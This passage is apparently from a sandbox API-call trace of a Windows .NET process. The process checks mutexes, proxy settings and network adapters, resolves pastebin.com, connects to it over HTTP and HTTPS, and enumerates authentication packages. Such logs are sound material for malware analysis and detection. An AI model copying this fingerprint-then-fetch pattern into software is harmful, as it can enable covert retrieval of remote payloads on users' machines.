(hHandle=0x444, dwMilliseconds=0x1f4) returned 0x0 [0122.809] ReleaseMutex (hMutex=0x444) returned 1 [0122.809] CloseHandle (hObject=0x444) returned 1 [0122.809] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2762a20, cbSid=0x1b62e6c0 | out: pSid=0x2762a20*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b62e6c0) returned 1 [0122.810] CreateMutexW (lpMutexAttributes=0x2762bd8, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x444 [0122.810] WaitForSingleObject (hHandle=0x444, dwMilliseconds=0x1f4) returned 0x0 [0122.811] ReleaseMutex (hMutex=0x444) returned 1 [0122.811] CloseHandle (hObject=0x444) returned 1 [0122.811] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2763858, cbSid=0x1b62e6c0 | out: pSid=0x2763858*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b62e6c0) returned 1 [0122.811] CreateMutexW (lpMutexAttributes=0x2763a10, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x444 [0122.811] WaitForSingleObject (hHandle=0x444, dwMilliseconds=0x1f4) returned 0x0 [0122.812] ReleaseMutex (hMutex=0x444) returned 1 [0122.812] CloseHandle (hObject=0x444) returned 1 [0122.812] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2764688, cbSid=0x1b62e6c0 | out: pSid=0x2764688*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b62e6c0) returned 1 [0122.813] CreateMutexW (lpMutexAttributes=0x2764840, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x444 [0122.813] WaitForSingleObject (hHandle=0x444, dwMilliseconds=0x1f4) returned 0x0 [0122.814] ReleaseMutex (hMutex=0x444) returned 1 [0122.814] CloseHandle (hObject=0x444) returned 1 [0122.817] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x27654b8, cbSid=0x1b62e670 | out: pSid=0x27654b8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b62e670) returned 1 [0122.817] CreateMutexW (lpMutexAttributes=0x2765670, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x444 [0122.817] WaitForSingleObject (hHandle=0x444, dwMilliseconds=0x1f4) returned 0x0 [0122.818] ReleaseMutex (hMutex=0x444) returned 1 [0122.818] CloseHandle (hObject=0x444) returned 1 [0122.819] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2766300, cbSid=0x1b62e670 | out: pSid=0x2766300*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b62e670) returned 1 [0122.819] CreateMutexW (lpMutexAttributes=0x27664b8, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x444 [0122.819] WaitForSingleObject (hHandle=0x444, dwMilliseconds=0x1f4) returned 0x0 [0122.820] ReleaseMutex (hMutex=0x444) returned 1 [0122.820] CloseHandle (hObject=0x444) returned 1 [0122.820] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2767118, cbSid=0x1b62e670 | out: pSid=0x2767118*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b62e670) returned 1 [0122.821] CreateMutexW (lpMutexAttributes=0x27672d0, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x444 [0122.821] WaitForSingleObject (hHandle=0x444, dwMilliseconds=0x1f4) returned 0x0 [0122.822] ReleaseMutex (hMutex=0x444) returned 1 [0122.822] CloseHandle (hObject=0x444) returned 1 [0122.822] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2767f40, cbSid=0x1b62e670 | out: pSid=0x2767f40*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b62e670) returned 1 [0122.823] CreateMutexW (lpMutexAttributes=0x27680f8, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x444 [0122.823] WaitForSingleObject (hHandle=0x444, dwMilliseconds=0x1f4) returned 0x0 [0122.824] ReleaseMutex (hMutex=0x444) returned 1 [0122.824] CloseHandle (hObject=0x444) returned 1 [0122.824] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2768d60, cbSid=0x1b62e670 | out: pSid=0x2768d60*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b62e670) returned 1 [0122.825] CreateMutexW (lpMutexAttributes=0x2768f18, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x444 [0122.825] WaitForSingleObject (hHandle=0x444, dwMilliseconds=0x1f4) returned 0x0 [0122.826] ReleaseMutex (hMutex=0x444) returned 1 [0122.826] CloseHandle (hObject=0x444) returned 1 [0122.873] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x444 [0122.873] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x44c [0122.875] ioctlsocket (in: s=0x444, cmd=-2147195266, argp=0x1b62eca8 | out: argp=0x1b62eca8) returned 0 [0122.916] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x450 [0122.916] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x454 [0122.917] ioctlsocket (in: s=0x450, cmd=-2147195266, argp=0x1b62eca8 | out: argp=0x1b62eca8) returned 0 [0122.918] WSAIoctl (in: s=0x444, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1b62ec20, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1b62ec20, lpOverlapped=0x0) returned -1 [0122.920] CoTaskMemAlloc (cb=0x204) returned 0x1b02b790 [0122.920] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x1b02b790, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0122.980] CoTaskMemFree (pv=0x1b02b790) [0122.981] WSAEventSelect (s=0x444, hEventObject=0x44c, lNetworkEvents=512) returned 0 [0122.981] WSAIoctl (in: s=0x450, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1b62ec20, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1b62ec20, lpOverlapped=0x0) returned -1 [0122.981] CoTaskMemAlloc (cb=0x204) returned 0x1b02b790 [0122.981] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x1b02b790, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0122.982] CoTaskMemFree (pv=0x1b02b790) [0122.982] WSAEventSelect (s=0x450, hEventObject=0x454, lNetworkEvents=512) returned 0 [0122.982] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x45c [0122.983] RasConnectionNotificationW (param_1=0xffffffffffffffff, param_2=0x45c, param_3=0x3) returned 0x0 [0123.033] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x1b62ed60 | out: phkResult=0x1b62ed60*=0x474) returned 0x0 [0123.035] RegOpenKeyExW (in: hKey=0x474, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b62ec48 | out: phkResult=0x1b62ec48*=0x478) returned 0x0 [0123.035] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x47c [0123.037] RegNotifyChangeKeyValue (hKey=0x478, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x47c, fAsynchronous=1) returned 0x0 [0123.038] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b62ec70 | out: phkResult=0x1b62ec70*=0x480) returned 0x0 [0123.038] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x484 [0123.038] RegNotifyChangeKeyValue (hKey=0x480, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x484, fAsynchronous=1) returned 0x0 [0123.038] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b62ec70 | out: phkResult=0x1b62ec70*=0x488) returned 0x0 [0123.039] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x48c [0123.039] RegNotifyChangeKeyValue (hKey=0x488, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x48c, fAsynchronous=1) returned 0x0 [0123.039] GetCurrentProcess () returned 0xffffffffffffffff [0123.039] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b62ebd8 | out: TokenHandle=0x1b62ebd8*=0x490) returned 1 [0123.048] GetCurrentProcess () returned 0xffffffffffffffff [0123.049] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b62e3a8 | out: TokenHandle=0x1b62e3a8*=0x494) returned 1 [0123.055] GetCurrentProcess () returned 0xffffffffffffffff [0123.055] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b62e3a8 | out: TokenHandle=0x1b62e3a8*=0x498) returned 1 [0123.899] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1b62eca8 | out: pProxyConfig=0x1b62eca8) returned 1 [0124.114] GetCurrentProcess () returned 0xffffffffffffffff [0124.115] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b62e4d8 | out: TokenHandle=0x1b62e4d8*=0x4d0) returned 1 [0124.120] GetCurrentProcess () returned 0xffffffffffffffff [0124.120] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b62e4d8 | out: TokenHandle=0x1b62e4d8*=0x4c4) returned 1 [0124.167] SetEvent (hEvent=0x3d0) returned 1 [0124.332] SetEvent (hEvent=0x3d0) returned 1 [0124.586] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x1b62e8e8 | out: pFixedInfo=0x0, pOutBufLen=0x1b62e8e8) returned 0x6f [0124.707] LocalAlloc (uFlags=0x0, uBytes=0x258) returned 0x1e7ad9b0 [0124.707] GetNetworkParams (in: pFixedInfo=0x1e7ad9b0, pOutBufLen=0x1b62e8e8 | out: pFixedInfo=0x1e7ad9b0, pOutBufLen=0x1b62e8e8) returned 0x0 [0124.762] CoTaskMemAlloc (cb=0xd) returned 0x1afbc8f0 [0124.762] inet_addr (cp="192.168.0.1") returned 0x100a8c0 [0124.762] CoTaskMemFree (pv=0x1afbc8f0) [0124.769] LocalFree (hMem=0x1e7ad9b0) returned 0x0 [0124.837] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4f8 [0124.838] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4f4 [0124.841] CoTaskMemAlloc (cb=0xe) returned 0x1afbc8f0 [0124.843] getaddrinfo (in: pNodeName="pastebin.com", pServiceName=0x0, pHints=0x1b62e890*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1b62e888 | out: ppResult=0x1b62e888*=0x1e7a1f70*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="pastebin.com", ai_addr=0x1afbc9d0*(sa_family=2, sin_port=0x0, sin_addr="104.20.68.143"), ai_next=0x1e7a1fb0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1afbca10*(sa_family=2, sin_port=0x0, sin_addr="172.67.34.170"), ai_next=0x1e7b39a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1e7ac720*(sa_family=2, sin_port=0x0, sin_addr="104.20.67.143"), ai_next=0x0)))) returned 0 [0125.435] CoTaskMemFree (pv=0x1afbc8f0) [0125.435] CoTaskMemFree (pv=0x0) [0125.436] FreeAddrInfoW (pAddrInfo=0x1e7a1f70*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="慰瑳扥湩挮浯", ai_addr=0x1afbc9d0*(sa_family=2, sin_port=0x0, sin_addr="104.20.68.143"), ai_next=0x1e7a1fb0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1afbca10*(sa_family=2, sin_port=0x0, sin_addr="172.67.34.170"), ai_next=0x1e7b39a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1e7ac720*(sa_family=2, sin_port=0x0, sin_addr="104.20.67.143"), ai_next=0x0)))) [0125.437] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x508 [0125.438] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x500 [0125.438] ioctlsocket (in: s=0x508, cmd=-2147195266, argp=0x1b62e8a8 | out: argp=0x1b62e8a8) returned 0 [0125.438] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x510 [0125.438] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x514 [0125.438] ioctlsocket (in: s=0x510, cmd=-2147195266, argp=0x1b62e8a8 | out: argp=0x1b62e8a8) returned 0 [0125.438] WSAIoctl (in: s=0x508, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1b62e820, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1b62e820, lpOverlapped=0x0) returned -1 [0125.438] CoTaskMemAlloc (cb=0x204) returned 0x1b02bdc0 [0125.438] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x1b02bdc0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0125.439] CoTaskMemFree (pv=0x1b02bdc0) [0125.439] WSAEventSelect (s=0x508, hEventObject=0x500, lNetworkEvents=512) returned 0 [0125.439] WSAIoctl (in: s=0x510, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1b62e820, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1b62e820, lpOverlapped=0x0) returned -1 [0125.439] CoTaskMemAlloc (cb=0x204) returned 0x1b02bdc0 [0125.439] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x1b02bdc0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0125.439] CoTaskMemFree (pv=0x1b02bdc0) [0125.439] WSAEventSelect (s=0x510, hEventObject=0x514, lNetworkEvents=512) returned 0 [0125.442] GetAdaptersAddresses (in: Family=0x0, Flags=0x2e, Reserved=0x0, AdapterAddresses=0x0, SizePointer=0x1b62e378*=0x0 | out: AdapterAddresses=0x0, SizePointer=0x1b62e378*=0x920) returned 0x6f [0125.493] LocalAlloc (uFlags=0x0, uBytes=0x920) returned 0x1e7d4de0 [0125.493] GetAdaptersAddresses (in: Family=0x0, Flags=0x2e, Reserved=0x0, AdapterAddresses=0x1e7d4de0, SizePointer=0x1b62e378*=0x920 | out: AdapterAddresses=0x1e7d4de0*(Alignment=0x10000001c0, Length=0x1c0, IfIndex=0x10, Next=0x1e7d5118, AdapterName="{68F1467C-143D-484A-87A1-65BCBB1B2D48}", FirstUnicastAddress=0x1e7d5068, FirstAnycastAddress=0x0, FirstMulticastAddress=0x0, FirstDnsServerAddress=0x0, DnsSuffix="", Description="Intel(R) 82574L Gigabit Network Connection #5", FriendlyName="Local Area Connection 5", PhysicalAddress=([0]=0x0, [1]=0x20, [2]=0x73, [3]=0xf9, [4]=0x28, [5]=0xc5, [6]=0x0, [7]=0x0), PhysicalAddressLength=0x6, Flags=0x3e5, DdnsEnabled=0x3e5, RegisterAdapterSuffix=0x3e5, Dhcpv4Enabled=0x3e5, ReceiveOnly=0x3e5, NoMulticast=0x3e5, Ipv6OtherStatefulConfig=0x3e5, NetbiosOverTcpipEnabled=0x3e5, Ipv4Enabled=0x3e5, Ipv6Enabled=0x3e5, Ipv6ManagedAddressConfigurationSupported=0x3e5, Mtu=0x5dc, IfType=0x6, OperStatus=0x1, Ipv6IfIndex=0x10, ZoneIndices=([0]=0x10, [1]=0x10, [2]=0x10, [3]=0x10, [4]=0x1, [5]=0x1, [6]=0x1, [7]=0x1, [8]=0x1, [9]=0x1, [10]=0x1, [11]=0x1, [12]=0x1, [13]=0x1, [14]=0x0, [15]=0x1), FirstPrefix=0x0, TransmitLinkSpeed=0x3b9aca00, ReceiveLinkSpeed=0x3b9aca00, FirstWinsServerAddress=0x0, FirstGatewayAddress=0x0, Ipv4Metric=0xa, Ipv6Metric=0xa, Luid=0x600000a000000, Dhcpv4Server.lpSockaddr=0x1e7d4fa0*(sa_family=2, sin_port=0x0, sin_addr="192.168.0.1"), Dhcpv4Server.iSockaddrLength=16, CompartmentId=0x1, NetworkGuid=0x11de7039846ee341, ConnectionType=0x1, TunnelType=0x0, Dhcpv6Server.lpSockaddr=0x0, Dhcpv6Server.iSockaddrLength=0, Dhcpv6ClientDuid=([0]=0x0, [1]=0x1, [2]=0x0, [3]=0x1, [4]=0x27, [5]=0xbf, [6]=0xe, [7]=0x9e, [8]=0x0, [9]=0x26, [10]=0x67, [11]=0xd5, [12]=0xc6, [13]=0x31, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0), Dhcpv6ClientDuidLength=0xe, Dhcpv6Iaid=0x13c89f1d, FirstDnsSuffix=0x0), SizePointer=0x1b62e378*=0x920) returned 0x0 [0125.518] LocalFree (hMem=0x1e7d4de0) returned 0x0 [0125.524] WSAConnect (in: s=0x4f8, name=0x277d970*(sa_family=2, sin_port=0x50, sin_addr="104.20.68.143"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0125.560] closesocket (s=0x4f4) returned 0 [0125.590] send (s=0x4f8, buf=0x277f3a8*, len=303, flags=0) returned 303 [0125.608] setsockopt (s=0x4f8, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0125.610] recv (in: s=0x4f8, buf=0x2777290, len=4096, flags=0 | out: buf=0x2777290*) returned 292 [0125.687] SetEvent (hEvent=0x3d0) returned 1 [0125.692] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4f4 [0125.692] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x518 [0125.718] CoTaskMemAlloc (cb=0xe) returned 0x1e7ac6e0 [0125.718] getaddrinfo (in: pNodeName="pastebin.com", pServiceName=0x0, pHints=0x1b62e890*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1b62e888 | out: ppResult=0x1b62e888*=0x1e7a2030*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="pastebin.com", ai_addr=0x1e7ac7c0*(sa_family=2, sin_port=0x0, sin_addr="104.20.68.143"), ai_next=0x1e7a1b70*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1e7ac7e0*(sa_family=2, sin_port=0x0, sin_addr="172.67.34.170"), ai_next=0x1e7b3aa0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1e7ac740*(sa_family=2, sin_port=0x0, sin_addr="104.20.67.143"), ai_next=0x0)))) returned 0 [0125.758] CoTaskMemFree (pv=0x1e7ac6e0) [0125.758] CoTaskMemFree (pv=0x0) [0125.758] FreeAddrInfoW (pAddrInfo=0x1e7a2030*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="慰瑳扥湩挮浯", ai_addr=0x1e7ac7c0*(sa_family=2, sin_port=0x0, sin_addr="104.20.68.143"), ai_next=0x1e7a1b70*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1e7ac7e0*(sa_family=2, sin_port=0x0, sin_addr="172.67.34.170"), ai_next=0x1e7b3aa0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1e7ac740*(sa_family=2, sin_port=0x0, sin_addr="104.20.67.143"), ai_next=0x0)))) [0125.759] WSAConnect (in: s=0x4f4, name=0x2783dd0*(sa_family=2, sin_port=0x1bb, sin_addr="104.20.68.143"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0125.776] closesocket (s=0x518) returned 0 [0125.820] EnumerateSecurityPackagesW (in: pcPackages=0x1b62e708, ppPackageInfo=0x1b62e700 | out: pcPackages=0x1b62e708, ppPackageInfo=0x1b62e700) returned 0x0 [0125.836] lstrlenW (lpString="Negotiate") returned 9 [0125.837] CoTaskMemAlloc (cb=0x16) returned 0x1e7ac980 [0125.837] RtlMoveMemory (in: Destination=0x1e7ac980, Source=0x1afdb780, Length=0x14 | out: Destination=0x1e7ac980) [0125.837] CoTaskMemFree (pv=0x1e7ac980) [0125.837] lstrlenW (lpString="Microsoft Package Negotiator") returned 28 [0125.837] CoTaskMemAlloc (cb=0x3c) returned 0x1e7b8500 [0125.838] RtlMoveMemory (in: Destination=0x1e7b8500, Source=0x1afdb794, Length=0x3a | out: Destination=0x1e7b8500) [0125.838] CoTaskMemFree (pv=0x1e7b8500) [0125.838] lstrlenW (lpString="NegoExtender") returned 12 [0125.838] CoTaskMemAlloc (cb=0x1c) returned 0x1e7c42c0 [0125.838] RtlMoveMemory (in: Destination=0x1e7c42c0, Source=0x1afdb7ce, Length=0x1a | out: Destination=0x1e7c42c0) [0125.838] CoTaskMemFree (pv=0x1e7c42c0) [0125.838] lstrlenW (lpString="NegoExtender Security Package") returned 29 [0125.838] CoTaskMemAlloc (cb=0x3e) returned 0x1e7b8500 [0125.838] RtlMoveMemory (in: Destination=0x1e7b8500, Source=0x1afdb7e8, Length=0x3c | out: Destination=0x1e7b8500) [0125.838] CoTaskMemFree (pv=0x1e7b8500) [0125.838] lstrlenW (lpString="Kerberos") returned 8 [0125.838] CoTaskMemAlloc (cb=0x14) returned 0x1e7ac980 [0125.838] RtlMoveMemory (in: Destination=0x1e7ac980, Source=0x1afdb824, Length=0x12 | out: Destination=0x1e7ac980) [0125.838] CoTaskMemFree (pv=0x1e7ac980) [0125.838] lstrlenW (lpString="Microsoft Kerberos V1.0") returned 23 [0125.838] CoTaskMemAlloc (cb=0x32) returned 0x1e7b3da0 [0125.838] RtlMoveMemory (in: Destination=0x1e7b3da0, Source=0x1afdb836, Length=0x30 | out: Destination=0x1e7b3da0) [0125.838] CoTaskMemFree (pv=0x1e7b3da0) [0125.838] lstrlenW (lpString="NTLM") returned 4 [0125.838] CoTaskMemAlloc (cb=0xc) returned 0x1e7ac980 [0125.838] RtlMoveMemory (in: Destination=0x1e7ac980, Source=0x1afdb866, Length=0xa | out: Destination=0x1e7ac980) [0125.839] CoTaskMemFree (pv=0x1e7ac980) [0125.839] lstrlenW (lpString="NTLM Security Package") returned 21 [0125.839] CoTaskMemAlloc (cb=0x2e) returned 0x1e7b3da0 [0125.839] RtlMoveMemory (in: Destination=0x1e7b3da0, Source=0x1afdb870, Length=0x2c | out: Destination=0x1e7b3da0) [0125.839] CoTaskMemFree (pv=0x1e7b3da0) [0125.839] lstrlenW (lpString="Schannel") returned 8 [0125.839] CoTaskMemAlloc (cb=0x14) returned 0x1e7ac980 [0125.839] RtlMoveMemory (in: Destination=0x1e7ac980, Source=0x1afdb89c, Length=0x12 | out: Destination=0x1e7ac980) [0125.839] CoTaskMemFree (pv=0x1e7ac980) [0125.839] lstrlenW (lpString="Schannel Security Package") returned 25 [0125.839] CoTaskMemAlloc (cb=0x36) returned 0x1e7b3da0 [0125.839] RtlMoveMemory (in: Destination=0x1e7b3da0, Source=0x1afdb8ae, Length=0x34 | out: Destination=0x1e7b3da0) [0125.839] CoTaskMemFree (pv=0x1e7b3da0) [0125.839] lstrlenW (lpString="Microsoft Unified Security Protocol Provider") returned 44 [0125.839] CoTaskMemAlloc (cb=0x5c) returned 0x1af81ab0 [0125.839] RtlMoveMemory (in: Destination=0x1af81ab0, Source=0x1afdb8e2, Length=0x5a | out: Destination=0x1af81ab0) [0125.839] CoTaskMemFree (pv=0x1af81ab0) [0125.839] lstrlenW (lpString="Schannel Security Package") returned 25 [0125.839] CoTaskMemAlloc (cb=0x36) returned 0x1e7b3da0 [0125.839] RtlMoveMemory (in: Destination=0x1e7b3da0, Source=0x1afdb93c, Length=0x34 | out: Destination=0x1e7b3da0) [0125.839] CoTaskMemFree (pv=0x1e7b3da0) [0125.839] lstrlenW (lpString="WDigest") returned 7 [0125.839] CoTaskMemAlloc (cb=0x12) returned 0x1e7ac980 [0125.839] RtlMoveMemory (in: Destination=0x1e7ac980, Source=0x1afdb970, Length=0x10 | out: 